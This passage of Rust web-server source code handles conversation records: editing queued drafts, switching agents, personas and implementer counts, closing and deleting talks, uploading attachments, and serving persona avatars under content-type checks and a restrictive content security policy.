9962            &body.expected_text,
9963            &body.expected_attachments,
9964        )? {
9965            return Err(ApiError::conflict(
9966                "queued message changed; reload it before clearing",
9967            ));
9968        }
9969        let thinking = ui.is_thinking(&talk.id);
9970        Ok(Json(TalkView::new(talk, thinking, &ui)))
9971    })
9972    .await
9973}
9974
9975/// Atomically edit a queued draft's text while preserving its attachments.
9976/// The snapshot fields make a concurrent queue or drain a conflict rather
9977/// than silently discarding either message.
9978async fn talk_pending_edit(
9979    State(ui): State<Arc<Ui>>,
9980    Path(id): Path<String>,
9981    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9982) -> ApiResult<Json<TalkView>> {
9983    let admission = ui.begin_admission()?;
9984    admitted(admission, async move {
9985        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9986        let id = {
9987            let ui = Arc::clone(&ui);
9988            blocking(move || resolve_talk(&ui.talks, &id)).await?
9989        };
9990        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9991            .await
9992            .map_err(ApiError::from)?;
9993        let (view, reclaimed) = blocking({
9994            let ui = Arc::clone(&ui);
9995            move || {
9996                let mut talk = ui.talks.get(&id)?;
9997                if !talk.status.open() {
9998                    return Err(ApiError::conflict(format!(
9999                        "talk {} is {} and takes no more turns",
10000                        talk.short(),
10001                        talk.status.as_str()
10002                    )));
10003                }
10004                if !talk::edit_pending_message(
10005                    &mut talk,
10006                    &ui.talks,
10007                    &body.text,
10008                    &body.expected_text,
10009                    &body.expected_attachments,
10010                    body.message,
10011                )? {
10012                    return Err(ApiError::conflict(
10013                        "queued message changed; reload it before editing",
10014                    ));
10015                }
10016                let claim = match ui.begin_queued_talk_turn(&id)? {
10017                    Some(turn_guard) => {
10018                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10019                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10020                    }
10021                    None => None,
10022                };
10023                let thinking = ui.is_thinking(&id);
10024                Ok((TalkView::new(talk, thinking, &ui), claim))
10025            }
10026        })
10027        .await?;
10028        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10029            let talks = ui.talks.clone();
10030            #[cfg(not(test))]
10031            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10032            #[cfg(test)]
10033            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10034        }
10035        Ok(Json(view))
10036    })
10037    .await
10038}
10039
10040/// The 409 for a talk that takes no more turns.
10041fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10042    if talk.status.open() {
10043        return Ok(());
10044    }
10045    Err(ApiError::conflict(format!(
10046        "talk {} is {} and takes no more turns",
10047        talk.short(),
10048        talk.status.as_str()
10049    )))
10050}
10051
10052/// The body of `POST /api/talks/{id}/agent`.
10053#[derive(Debug, Deserialize)]
10054struct TalkAgent {
10055    agent: String,
10056}
10057
10058/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10059/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10060/// start a turn on the old session between the check and the write; one that
10061/// arrives in that window finds the talk busy and becomes a draft.
10062async fn talk_agent(
10063    State(ui): State<Arc<Ui>>,
10064    Path(id): Path<String>,
10065    Json(body): Json<TalkAgent>,
10066) -> ApiResult<Json<TalkView>> {
10067    let admission = ui.begin_admission()?;
10068    admitted(admission, async move {
10069        let id = {
10070            let ui = Arc::clone(&ui);
10071            blocking(move || resolve_talk(&ui.talks, &id)).await?
10072        };
10073        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10074            .await
10075            .map_err(ApiError::from)?;
10076        let repo = {
10077            let ui = Arc::clone(&ui);
10078            let id = id.clone();
10079            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10080        };
10081        let cfg = config_for(&repo).await?;
10082        // Refuse before taking the claim; see `talk_implementers`.
10083        {
10084            let ui = Arc::clone(&ui);
10085            let id = id.clone();
10086            let cfg = cfg.clone();
10087            let wanted = body.agent.clone();
10088            blocking(move || {
10089                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10090                    .map_err(ApiError::bad_request_from)?;
10091                refuse_if_closed(&ui.talks.get(&id)?)
10092            })
10093            .await?;
10094        }
10095        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10096            return Err(ApiError::conflict(
10097                "a talk turn is running; change the agent once it has answered",
10098            ));
10099        };
10100        let switched = {
10101            let ui = Arc::clone(&ui);
10102            let id = id.clone();
10103            let cfg = cfg.clone();
10104            blocking(move || {
10105                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10106                    .map_err(ApiError::bad_request_from)?;
10107                let mut talk = ui.talks.get(&id)?;
10108                if !talk.status.open() {
10109                    return Err(ApiError::conflict(format!(
10110                        "talk {} is {} and takes no more turns",
10111                        talk.short(),
10112                        talk.status.as_str()
10113                    )));
10114                }
10115                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10116                Ok(talk)
10117            })
10118            .await
10119        };
10120        // A `/say` that landed while this held the claim saw the talk busy and
10121        // left a durable draft, trusting the claim's owner to drain it. So the
10122        // claim is settled whatever the outcome. Release an empty draft's claim
10123        // before replying; queued drafts continue independently of the handler.
10124        let observed = ui.queued_generation(&id);
10125        let fresh = {
10126            let ui = Arc::clone(&ui);
10127            let id = id.clone();
10128            blocking(move || Ok(ui.talks.get(&id)?)).await
10129        };
10130        let draining = match fresh {
10131            Ok(talk) => {
10132                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10133            }
10134            Err(_) => false,
10135        };
10136        let talk = switched?;
10137        Ok(Json(TalkView::new(talk, draining, &ui)))
10138    })
10139    .await
10140}
10141
10142/// The body of `POST /api/talks/{id}/persona`.
10143#[derive(Debug, Deserialize)]
10144struct TalkPersona {
10145    persona: String,
10146}
10147
10148/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10149/// like [`talk_agent`]: the turn guard is held for the change and always handed
10150/// to `drain_loop`, so a draft left meanwhile is not stranded.
10151async fn talk_persona(
10152    State(ui): State<Arc<Ui>>,
10153    Path(id): Path<String>,
10154    Json(body): Json<TalkPersona>,
10155) -> ApiResult<Json<TalkView>> {
10156    let admission = ui.begin_admission()?;
10157    admitted(admission, async move {
10158        let id = {
10159            let ui = Arc::clone(&ui);
10160            blocking(move || resolve_talk(&ui.talks, &id)).await?
10161        };
10162        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10163            .await
10164            .map_err(ApiError::from)?;
10165        let repo = {
10166            let ui = Arc::clone(&ui);
10167            let id = id.clone();
10168            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10169        };
10170        let cfg = config_for(&repo).await?;
10171        // Refuse before taking the claim; see `talk_implementers`.
10172        {
10173            let ui = Arc::clone(&ui);
10174            let id = id.clone();
10175            let cfg = cfg.clone();
10176            let wanted = body.persona.clone();
10177            blocking(move || {
10178                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10179                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10180                }
10181                refuse_if_closed(&ui.talks.get(&id)?)
10182            })
10183            .await?;
10184        }
10185        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10186            return Err(ApiError::conflict(
10187                "a talk turn is running; change the persona once it has answered",
10188            ));
10189        };
10190        let switched = {
10191            let ui = Arc::clone(&ui);
10192            let id = id.clone();
10193            let cfg = cfg.clone();
10194            blocking(move || {
10195                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10196                    return Err(ApiError::bad_request(format!(
10197                        "unknown persona `{}`",
10198                        body.persona
10199                    )));
10200                };
10201                let mut talk = ui.talks.get(&id)?;
10202                if !talk.status.open() {
10203                    return Err(ApiError::conflict(format!(
10204                        "talk {} is {} and takes no more turns",
10205                        talk.short(),
10206                        talk.status.as_str()
10207                    )));
10208                }
10209                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10210                Ok(talk)
10211            })
10212            .await
10213        };
10214        // As in `talk_agent`: settle the claim before replying, even on refusal.
10215        let observed = ui.queued_generation(&id);
10216        let fresh = {
10217            let ui = Arc::clone(&ui);
10218            let id = id.clone();
10219            blocking(move || Ok(ui.talks.get(&id)?)).await
10220        };
10221        let draining = match fresh {
10222            Ok(talk) => {
10223                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10224            }
10225            Err(_) => false,
10226        };
10227        let talk = switched?;
10228        Ok(Json(TalkView::new(talk, draining, &ui)))
10229    })
10230    .await
10231}
10232
10233/// The body of `POST /api/talks/{id}/implementers`.
10234#[derive(Debug, Deserialize)]
10235struct TalkImplementers {
10236    implementers: u8,
10237}
10238
10239/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10240/// like [`talk_agent`]: the turn guard is held for the change and always handed
10241/// to `drain_loop`, so a draft left meanwhile is not stranded.
10242async fn talk_implementers(
10243    State(ui): State<Arc<Ui>>,
10244    Path(id): Path<String>,
10245    Json(body): Json<TalkImplementers>,
10246) -> ApiResult<Json<TalkView>> {
10247    let admission = ui.begin_admission()?;
10248    admitted(admission, async move {
10249        let id = {
10250            let ui = Arc::clone(&ui);
10251            blocking(move || resolve_talk(&ui.talks, &id)).await?
10252        };
10253        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10254            .await
10255            .map_err(ApiError::from)?;
10256        let repo = {
10257            let ui = Arc::clone(&ui);
10258            let id = id.clone();
10259            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10260        };
10261        let cfg = config_for(&repo).await?;
10262        // Refuse a request that cannot succeed before taking the claim: a claim
10263        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10264        // moment, so a refusal would make the next request see "busy" instead of
10265        // its own answer. The checks after the claim stay the ones that decide.
10266        {
10267            let ui = Arc::clone(&ui);
10268            let id = id.clone();
10269            let cfg = cfg.clone();
10270            let wanted = body.implementers;
10271            blocking(move || {
10272                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10273                refuse_if_closed(&ui.talks.get(&id)?)
10274            })
10275            .await?;
10276        }
10277        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10278            return Err(ApiError::conflict(
10279                "a talk turn is running; change the implementers once it has answered",
10280            ));
10281        };
10282        let switched = {
10283            let ui = Arc::clone(&ui);
10284            let id = id.clone();
10285            let cfg = cfg.clone();
10286            blocking(move || {
10287                let chosen = talk::check_implementers(body.implementers, &cfg)
10288                    .map_err(ApiError::bad_request)?;
10289                let mut talk = ui.talks.get(&id)?;
10290                if !talk.status.open() {
10291                    return Err(ApiError::conflict(format!(
10292                        "talk {} is {} and takes no more turns",
10293                        talk.short(),
10294                        talk.status.as_str()
10295                    )));
10296                }
10297                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10298                Ok(talk)
10299            })
10300            .await
10301        };
10302        // As in `talk_agent`: settle the claim before replying, even on refusal.
10303        let observed = ui.queued_generation(&id);
10304        let fresh = {
10305            let ui = Arc::clone(&ui);
10306            let id = id.clone();
10307            blocking(move || Ok(ui.talks.get(&id)?)).await
10308        };
10309        let draining = match fresh {
10310            Ok(talk) => {
10311                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10312            }
10313            Err(_) => false,
10314        };
10315        let talk = switched?;
10316        Ok(Json(TalkView::new(talk, draining, &ui)))
10317    })
10318    .await
10319}
10320
10321/// `POST /api/talks/{id}/close`.
10322async fn talk_close(
10323    State(ui): State<Arc<Ui>>,
10324    Path(id): Path<String>,
10325) -> ApiResult<Json<TalkView>> {
10326    blocking(move || {
10327        let id = resolve_talk(&ui.talks, &id)?;
10328        let mut talk = ui.talks.get(&id)?;
10329        talk::close(&mut talk, &ui.talks)?;
10330        let thinking = ui.is_thinking(&talk.id);
10331        Ok(Json(TalkView::new(talk, thinking, &ui)))
10332    })
10333    .await
10334}
10335
10336/// `POST /api/talks/{id}/reopen`.
10337async fn talk_reopen(
10338    State(ui): State<Arc<Ui>>,
10339    Path(id): Path<String>,
10340) -> ApiResult<Json<TalkView>> {
10341    blocking(move || {
10342        let id = resolve_talk(&ui.talks, &id)?;
10343        let mut talk = ui.talks.get(&id)?;
10344        talk::reopen(&mut talk, &ui.talks)?;
10345        let thinking = ui.is_thinking(&talk.id);
10346        Ok(Json(TalkView::new(talk, thinking, &ui)))
10347    })
10348    .await
10349}
10350
10351/// `DELETE /api/talks/{id}`.
10352///
10353/// Removes the conversation's record and artifacts outright, unlike
10354/// [`talk_close`] which keeps the record as history. A turn already in
10355/// flight is not refused here the way [`run_delete`] refuses a live run:
10356/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10357/// under [`Talks::guard`], that the record they are about to write back is
10358/// still there, so a delete racing a turn is safe without this route having
10359/// to know a turn is running at all.
10360async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10361    blocking(move || {
10362        let id = resolve_talk(&ui.talks, &id)?;
10363        ui.talks.remove(&id)?;
10364        Ok(StatusCode::NO_CONTENT)
10365    })
10366    .await
10367}
10368
10369fn talk_ids(root: &FsPath) -> Vec<String> {
10370    std::fs::read_dir(root)
10371        .into_iter()
10372        .flatten()
10373        .flatten()
10374        .filter_map(|e| {
10375            let path = e.path();
10376            if path.extension().is_some_and(|ext| ext == "json") {
10377                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10378            } else {
10379                None
10380            }
10381        })
10382        .collect()
10383}
10384
10385/// Expand an id or short id to exactly one talk id.
10386fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10387    if plain_record_id(id) && store.path_of(id).is_file() {
10388        return Ok(id.to_owned());
10389    }
10390    pick(talk_ids(store.root()), id, "talk")
10391}
10392
10393/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10394/// future `talk-say`.
10395async fn talk_attachment_post(
10396    State(ui): State<Arc<Ui>>,
10397    Path(id): Path<String>,
10398    headers: HeaderMap,
10399    body: Bytes,
10400) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10401    let mime = validate_attachment(&headers, &body)?;
10402    let name = filename_header(&headers);
10403    let data = body.to_vec();
10404    blocking(move || {
10405        let id = resolve_talk(&ui.talks, &id)?;
10406        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10407        Ok((StatusCode::CREATED, Json(att)))
10408    })
10409    .await
10410}
10411
10412/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10413/// `<img>` tag in the transcript.
10414async fn talk_attachment_get(
10415    State(ui): State<Arc<Ui>>,
10416    Path((id, att)): Path<(String, String)>,
10417) -> ApiResult<Response> {
10418    blocking(move || {
10419        let id = resolve_talk(&ui.talks, &id)?;
10420        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10421            return Err(ApiError::not_found(format!(
10422                "talk {id} has no attachment `{att}`"
10423            )));
10424        };
10425        Ok(attachment_response(&meta.mime, data))
10426    })
10427    .await
10428}
10429
10430/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10431/// the icon setting, so changing it changes the URL.
10432fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10433    let id = avatar_encode(&p.id);
10434    format!(
10435        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10436        persona_icon::fingerprint(
10437            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10438        )
10439    )
10440}
10441
10442#[derive(Debug, Default, Deserialize)]
10443struct AvatarQuery {
10444    persona: Option<String>,
10445    /// Set by the page after the first load failed: skip the `icon`.
10446    builtin: Option<String>,
10447}
10448
10449/// Served with every built-in avatar: it is an image, so nothing else may run.
10450const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10451
10452fn builtin_avatar(id: &str) -> Response {
10453    svg_avatar(persona_icon::builtin_svg(id))
10454}
10455
10456async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10457    raster_or_builtin(
10458        read_icon_file(&avatar_setting_path(&ui.home, None))
10459            .filter(|_| q.builtin.is_none())
10460            .as_deref(),
10461        persona_icon::operator_svg(),
10462    )
10463}
10464
10465fn svg_avatar(svg: &'static str) -> Response {
10466    (
10467        [
10468            (header::CONTENT_TYPE, "image/svg+xml"),
10469            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10470            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10471            (header::CACHE_CONTROL, "no-cache"),
10472        ],
10473        svg,
10474    )
10475        .into_response()
10476}
10477
10478fn avatar_encode(value: &str) -> String {
10479    value
10480        .bytes()
10481        .map(|b| {
10482            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10483                char::from(b).to_string()
10484            } else {
10485                format!("%{b:02X}")
10486            }
10487        })
10488        .collect()
10489}
10490
10491// Display-only overrides live outside configuration and conversation records.
10492fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10493    let Some(id) = persona else {
10494        return home.join("avatars/operator.data");
10495    };
10496    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10497    let mut path = home.join("avatars/personas");
10498    for chunk in encoded.as_bytes().chunks(100) {
10499        path.push(std::str::from_utf8(chunk).expect("hex"));
10500    }
10501    path.join("icon.data")
10502}
10503
10504fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10505    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10506        Some(value) if value == "builtin" => Some(String::new()),
10507        Some(value) => Some(value),
10508        None => configured.map(str::to_owned),
10509    }
10510}
10511
10512fn operator_icon_url(home: &FsPath) -> String {
10513    format!(
10514        "/avatars/operator.svg?v={}",
10515        persona_icon::fingerprint(
10516            read_icon_file(&avatar_setting_path(home, None))
10517                .as_deref()
10518                .or(Some(persona_icon::operator_svg()))
10519        )
10520    )
10521}
10522
10523fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10524    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10525        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10526            attachment_response(mime, bytes)
10527        }
10528        _ => svg_avatar(builtin),
10529    };
10530    response
10531        .headers_mut()
10532        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10533    response
10534}
10535
10536#[derive(Default, Deserialize)]
10537struct AvatarSettingsQuery {
10538    repo: Option<PathBuf>,
10539    persona: Option<String>,
10540    builtin: Option<String>,
10541    inherit: Option<String>,
10542}
10543
10544fn avatar_settings_specs(
10545    ui: &Ui,
10546    repo: Option<PathBuf>,
10547) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10548    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10549    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10550        .map(|cfg| cfg.talk.personas)
10551        .unwrap_or_default();
10552    Ok((repo, specs))
10553}
10554
10555fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10556    let Ok(entries) = std::fs::read_dir(path) else {
10557        return;
10558    };
10559    for entry in entries.flatten() {
10560        let name = entry.file_name().to_string_lossy().into_owned();
10561        if name == "icon.data" {
10562            let bytes: Option<Vec<u8>> = prefix
10563                .as_bytes()
10564                .chunks(2)
10565                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10566                .collect();
10567            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10568                out.push(id);
10569            }
10570        } else if name.len() <= 100
10571            && !name.is_empty()
10572            && name.bytes().all(|b| b.is_ascii_hexdigit())
10573            && entry.file_type().is_ok_and(|t| t.is_dir())
10574        {
10575            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10576        }
10577    }
10578}
10579
10580async fn avatar_settings_get(
10581    State(ui): State<Arc<Ui>>,
10582    Query(q): Query<AvatarSettingsQuery>,
10583) -> ApiResult<Json<serde_json::Value>> {
10584    blocking(move || {
10585        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10586        let mut catalog = persona::catalog(&specs);
10587        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10588        let mut saved = Vec::new();
10589        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10590        for id in saved {
10591            if !catalog.iter().any(|p| p.id == id) {
10592                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10593            }
10594        }
10595        let personas: Vec<_> = catalog.iter().map(|p| {
10596            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10597            let override_state = match saved.as_deref() {
10598                Some("builtin") => "builtin",
10599                Some(_) => "custom",
10600                None => "inherit",
10601            };
10602            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10603            serde_json::json!({"id":p.id,"name":p.name,
10604                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10605                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10606                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10607        }).collect();
10608        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10609    }).await
10610}
10611
10612async fn settings_persona_avatar(
10613    State(ui): State<Arc<Ui>>,
10614    Query(q): Query<AvatarSettingsQuery>,
10615) -> ApiResult<Response> {
10616    blocking(move || {
10617        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10618        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10619        let found = persona::find(&specs, id);
10620        let icon =
10621            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10622        Ok(raster_or_builtin(
10623            icon.as_deref().filter(|_| q.builtin.is_none()),
10624            persona_icon::builtin_svg(id),
10625        ))
10626    })
10627    .await
10628}
10629
10630fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10631    if q.persona
10632        .as_ref()
10633        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10634    {
10635        return Err(ApiError::bad_request("invalid persona id"));
10636    }
10637    Ok(())
10638}
10639
10640async fn avatar_settings_put(
10641    State(ui): State<Arc<Ui>>,
10642    Query(q): Query<AvatarSettingsQuery>,
10643    Json(upload): Json<MagiIconUpload>,
10644) -> ApiResult<Json<serde_json::Value>> {
10645    blocking(move || {
10646        validate_avatar_target(&q)?;
10647        save_icon_file(
10648            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10649            &upload.icon,
10650        )
10651        .map_err(ApiError::bad_request_from)?;
10652        Ok(Json(serde_json::json!({"saved":true})))
10653    })
10654    .await
10655}
10656
10657async fn avatar_settings_delete(
10658    State(ui): State<Arc<Ui>>,
10659    Query(q): Query<AvatarSettingsQuery>,
10660) -> ApiResult<Json<serde_json::Value>> {
10661    blocking(move || {
10662        validate_avatar_target(&q)?;
10663        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10664        if q.persona.is_some() && q.inherit.is_none() {
10665            atomic_icon_write(&path, "builtin")?;
10666        } else {
10667            match std::fs::remove_file(path) {
10668                Ok(()) => (),
10669                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10670                Err(e) => return Err(anyhow::Error::from(e).into()),
10671            }
10672        }
10673        Ok(Json(serde_json::json!({"saved":true})))
10674    })
10675    .await
10676}
10677
10678// The global MAGI icon is deliberately independent of repository configuration.
10679fn magi_icon_path(home: &FsPath) -> PathBuf {
10680    home.join("magi-icon.data")
10681}
10682
10683fn read_magi_icon(home: &FsPath) -> Option<String> {
10684    read_icon_file(&magi_icon_path(home))
10685}
10686
10687fn read_icon_file(path: &FsPath) -> Option<String> {
10688    let metadata = std::fs::metadata(path).ok()?;
10689    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10690        return None;
10691    }
10692    let file = std::fs::File::open(path).ok()?;
10693    use std::io::Read;
10694    let mut text = String::new();
10695    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10696        .read_to_string(&mut text)
10697        .ok()?;
10698    if text.len() > persona_icon::ICON_MAX_BYTES {
10699        return None;
10700    }
10701    if text == "builtin" {
10702        return Some(text);
10703    }
10704    validate_uploaded_icon(&text).ok()?;
10705    Some(text)
10706}
10707
10708fn magi_icon_url(home: &FsPath) -> String {
10709    format!(
10710        "/avatars/magi?v={}",
10711        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10712    )
10713}
10714
10715async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10716    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10717}
10718
10719#[derive(Deserialize)]
10720struct MagiIconUpload {
10721    icon: String,
10722}
10723
10724fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10725    save_icon_file(&magi_icon_path(home), icon)
10726}
10727
10728fn validate_uploaded_icon(icon: &str) -> Result<()> {
10729    if !icon.starts_with("data:") {
10730        anyhow::bail!("upload a raster image");
10731    }
10732    let (mime, bytes) = persona_icon::load(icon)?;
10733    if sniffed_mime(&bytes) != Some(mime) {
10734        anyhow::bail!("image content does not match its type");
10735    }
10736    Ok(())
10737}
10738
10739fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10740    validate_uploaded_icon(icon)?;
10741    atomic_icon_write(path, icon)
10742}
10743
10744fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10745    let home = path.parent().expect("icon parent");
10746    std::fs::create_dir_all(home)?;
10747    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10748    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10749    let result = (|| -> Result<()> {
10750        use std::io::Write;
10751        let mut file = std::fs::OpenOptions::new()
10752            .write(true)
10753            .create_new(true)
10754            .open(&temp)?;
10755        file.write_all(icon.as_bytes())?;
10756        file.sync_all()?;
10757        std::fs::rename(&temp, path)?;
10758        Ok(())
10759    })();
10760    let _ = std::fs::remove_file(temp);
10761    result?;
10762    Ok(())
10763}
10764
10765async fn magi_icon_put(
10766    State(ui): State<Arc<Ui>>,
10767    Json(upload): Json<MagiIconUpload>,
10768) -> ApiResult<Json<serde_json::Value>> {
10769    blocking(move || {
10770        if !upload.icon.starts_with("data:") {
10771            return Err(ApiError::bad_request("upload a raster image"));
10772        }
10773        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10774        if sniffed_mime(&bytes) != Some(mime) {
10775            return Err(ApiError::bad_request(
10776                "image content does not match its type",
10777            ));
10778        }
10779        save_magi_icon(&ui.home, &upload.icon)?;
10780        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10781    })
10782    .await
10783}
10784
10785async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10786    blocking(move || {
10787        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10788            Ok(()) => (),
10789            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10790            Err(e) => return Err(anyhow::Error::from(e).into()),
10791        }
10792        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10793    })
10794    .await
10795}
10796
10797async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10798    let icon = (q.builtin.is_none())
10799        .then(|| read_magi_icon(&ui.home))
10800        .flatten();
10801    let mut response = match icon
10802        .as_deref()
10803        .and_then(|icon| persona_icon::load(icon).ok())
10804    {
10805        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10806            attachment_response(mime, bytes)
10807        }
10808        _ => svg_avatar(persona_icon::magi_svg()),
10809    };
10810    response
10811        .headers_mut()
10812        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10813    response
10814}
10815
10816/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10817/// operator's raster `icon` when it resolves and its bytes agree with its
10818/// type, the built-in SVG otherwise. Display only; every failure is a warning
10819/// and the built-in avatar, never an error response.
10820async fn talk_avatar(
10821    State(ui): State<Arc<Ui>>,
10822    Path(id): Path<String>,
10823    Query(q): Query<AvatarQuery>,
10824) -> ApiResult<Response> {
10825    blocking(move || {
10826        let id = resolve_talk(&ui.talks, &id)?;
10827        let talk = ui.talks.get(&id)?;
10828        let wanted = q
10829            .persona
10830            .as_deref()
10831            .map(str::trim)
10832            .filter(|p| !p.is_empty())
10833            .unwrap_or(&talk.persona)
10834            .to_owned();
10835        let specs = match Config::discover(&talk.repo, None) {
10836            Ok((cfg, _)) => cfg.talk.personas,
10837            Err(e) => {
10838                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10839                Vec::new()
10840            }
10841        };
10842        let found = persona::find(&specs, &wanted);
10843        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10844        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10845        let icon = effective_persona_icon(
10846            &ui.home,
10847            &wanted,
10848            found.as_ref().and_then(|p| p.icon.as_deref()),
10849        );
10850        if found.is_none() && icon.is_none() {
10851            return Ok(builtin_avatar(persona::DEFAULT_ID));
10852        }
10853        let Some(icon) = icon
10854            .as_deref()
10855            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10856        else {
10857            return Ok(builtin_avatar(&wanted));
10858        };
10859        let Some(found) = found else {
10860            return Ok(raster_or_builtin(
10861                Some(icon),
10862                persona_icon::builtin_svg(&wanted),
10863            ));
10864        };
10865        match persona_icon::load(icon) {
10866            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10867                let mut res = attachment_response(mime, bytes);
10868                res.headers_mut().insert(
10869                    header::CACHE_CONTROL,
10870                    header::HeaderValue::from_static("no-cache"),
10871                );
10872                Ok(res)
10873            }
